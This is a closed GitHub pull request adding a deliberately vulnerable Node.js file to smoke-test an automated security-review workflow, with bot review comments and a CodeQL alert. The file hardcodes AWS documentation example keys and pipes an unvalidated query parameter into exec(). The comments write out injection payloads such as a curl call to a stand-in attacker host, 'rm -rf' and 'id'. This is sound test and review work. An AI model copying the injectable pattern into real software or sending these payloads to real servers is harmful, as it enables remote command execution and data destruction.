Skip to content

test(security-review): fork PR path smoke test #1320

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Closed
tejaskash wants to merge 1 commit into from
Closed

test(security-review): fork PR path smoke test #1320

Changes from all commits
Commits
Show all changes
1 commit
Select commit
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
35 changes: 35 additions & 0 deletions scripts/__sec_review_smoketest_fork.mjs
View file
Open in desktop
Original file line number Diff line number Diff line change
@@ -0,0 +1,35 @@
// Deliberately vulnerable file used to smoke-test the Claude Security Review
// workflow's safe-to-review label path on fork PRs. Two HIGH-severity findings
// the bundled /security-review skill should flag. Will be deleted after verify.
import { exec } from 'node:child_process';
import http from 'node:http';

// FINDING 1 — Hardcoded credential pattern.
const HARDCODED_AWS_ACCESS_KEY_ID = 'AKIAIOSFODNN7EXAMPLE';
const HARDCODED_AWS_SECRET_ACCESS_KEY = 'wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY';

@agentcore-cli-automation agentcore-cli-automation May 20, 2026

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

HIGH — Hardcoded AWS credentials.

Lines 8–9 hardcode an AWS access key ID and secret access key as string literals. Even though these are the well-known AWS documentation example values (AKIAIOSFODNN7EXAMPLE / wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY) and not real credentials, committing strings that match the AWS credential format will:

  1. Trigger secret scanners (GitHub secret scanning, gitleaks, trufflehog, etc.) and create alert noise / false positives that desensitize reviewers.
  2. Set a bad precedent — copy-pasted patterns like this are how real keys end up in repos.

Options to resolve:

  • Preferred: delete this file after the workflow verification (the PR description says it will be removed).
  • If the fixture must remain, read the values from process.env (e.g. process.env.TEST_AWS_ACCESS_KEY_ID) rather than hardcoding string literals, or split the literal so it doesn't match the AKIA[0-9A-Z]{16} regex (e.g. 'AKIA' + 'IOSFODNN7EXAMPLE') and add a comment explaining why.
  • Add the file to .gitleaksignore / secret-scanning allowlist with a clear justification.

Comment on lines +8 to +9

@agentcore-devx-automation agentcore-devx-automation Bot May 20, 2026

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

HIGH: Hardcoded AWS credentials in source code.

Embedding an AWS access key ID and secret access key as string literals is a credential-leak vulnerability. Even though these specific values are AWS's well-known documentation example (AKIAIOSFODNN7EXAMPLE / wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY) and not live secrets, the pattern is dangerous:

  • Anything matching this pattern in committed code will be picked up by secret scanners and trigger noisy alerts that mask real leaks.
  • Copy/paste of this pattern into a real codepath would expose live credentials in git history forever — rotation is the only remediation, and history rewriting is rarely feasible.
  • Hardcoded credentials cannot be rotated, scoped per-environment, or revoked without a code change and redeploy.

Resolve credentials at runtime from the AWS SDK's default credential provider chain (env vars, shared config, IMDS, container role, SSO, etc.) instead of hardcoding them. If a fixture genuinely needs a placeholder, read it from process.env and fail fast when missing, so the value never lives in the repo.


function buildSignedRequest(payload) {
return {
payload,
auth: `AWS4-HMAC-SHA256 Credential=${HARDCODED_AWS_ACCESS_KEY_ID}`,
secret: HARDCODED_AWS_SECRET_ACCESS_KEY,
};
}

// FINDING 2 — Command injection via exec() with unvalidated query parameter.
const server = http.createServer((req, res) => {
const url = new URL(req.url, 'http://localhost');
const target = url.searchParams.get('host') ?? 'localhost';

@agentcore-cli-automation agentcore-cli-automation May 20, 2026

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

HIGH — Command injection via child_process.exec with untrusted input.

target is taken directly from the host query parameter (line 21) and interpolated into a shell command string passed to exec() (line 23). An attacker can supply ?host=localhost;rm%20-rf%20/ (or any shell metacharacter payload) and achieve arbitrary command execution on the server.

If this code is ever actually executed — e.g. someone runs node scripts/__sec_review_smoketest_fork.mjs locally, or a script runner picks up files under scripts/ — this is a real RCE, not just a fixture.

Options to resolve:

  • Preferred: delete this file after the workflow verification, per the PR description.
  • If it must remain, neutralize the vulnerability so it can't be executed accidentally: don't actually call http.createServer().listen(...) (currently server is exported but never listened on, which helps, but the exec call still fires on any request if a consumer listens), and replace exec(\ping -c 1 ${target}`)withexecFile('ping', ['-c', '1', target])plus strict input validation (e.g. allowlist of hostnames matching/^[a-zA-Z0-9.-]+$/`).
  • Move the file under a fixtures path that is excluded from any script execution / CI runners, and add a top-of-file guard like if (!process.env.SECURITY_REVIEW_SMOKETEST) process.exit(0);.

exec(`ping -c 1 ${target}`, (err, stdout, stderr) => {

Check failure

Code scanning / CodeQL

Uncontrolled command line Critical

This command line depends on a
user-provided value
Loading
.
if (err) {

@agentcore-devx-automation agentcore-devx-automation Bot May 20, 2026

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

HIGH: Command injection via unvalidated host query parameter passed to exec().

target is taken directly from the request's host query parameter and interpolated into a shell command string passed to child_process.exec, which spawns /bin/sh -c <cmd>. An attacker can supply shell metacharacters to execute arbitrary commands on the server. For example:

GET /?host=localhost;curl%20http://attacker/$(whoami)
GET /?host=$(rm%20-rf%20~)
GET /?host=`id`

Each of these breaks out of the intended ping -c 1 … invocation and runs attacker-controlled code with the privileges of the server process — full RCE, no auth required.

Fix by either:

  1. Switching to child_process.execFile('ping', ['-c', '1', target], …), which does not invoke a shell, so metacharacters are passed literally as a single argument and cannot break out, and validating target against a strict allowlist regex (e.g. /^[A-Za-z0-9.\-]+$/) before use to also reject malformed hostnames and ping flags like -f/-O.
  2. Using a hostname-resolution library (e.g. dns.lookup) to validate that target is a syntactically valid hostname/IP before passing it to execFile.

Never interpolate untrusted input into a shell command string.

res.writeHead(500);
res.end(String(err));
return;
}
res.writeHead(200, { 'Content-Type': 'text/plain' });
res.end(stdout || stderr);
});
});

export { buildSignedRequest, server };
Loading